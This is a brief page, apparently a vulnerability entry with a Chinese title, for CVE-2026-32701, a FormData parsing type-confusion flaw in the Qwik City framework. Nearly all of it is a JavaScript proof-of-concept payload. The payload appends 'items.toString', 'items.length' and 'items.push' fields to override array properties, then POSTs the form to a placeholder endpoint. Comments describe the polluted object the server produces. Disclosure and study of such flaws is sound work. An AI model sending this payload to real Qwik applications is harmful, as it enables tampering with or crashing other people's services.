CVE-2026-32701 Qwik FormData解析类型混淆漏洞

// PoC for CVE-2026-32701 // Conceptual payload to pollute array properties via FormData // Scenario: Sending a POST request to a vulnerable Qwik City endpoint const formData = new FormData(); // Normal array indices formData.append('items.0', 'item1'); formData.append('items.1', 'item2'); // Malicious object properties injected into the array path // These may override Array.prototype methods or properties formData.append('items.toString', 'HACKED'); formData.append('items.length', '99999'); formData.append('items.push', 'unexpected_value'); // Send the request fetch('https://target-vulnerable-endpoint.com/api/submit', { method: 'POST', body: formData }).then(response => console.log('Request sent')); // Server-side result (conceptual): // The parsed object 'items' might look like: // { // 0: 'item1', // 1: 'item2', // toString: 'HACKED', // length: '99999', // push: 'unexpected_value' // } // This causes type confusion when the app tries to use .push() or access .length.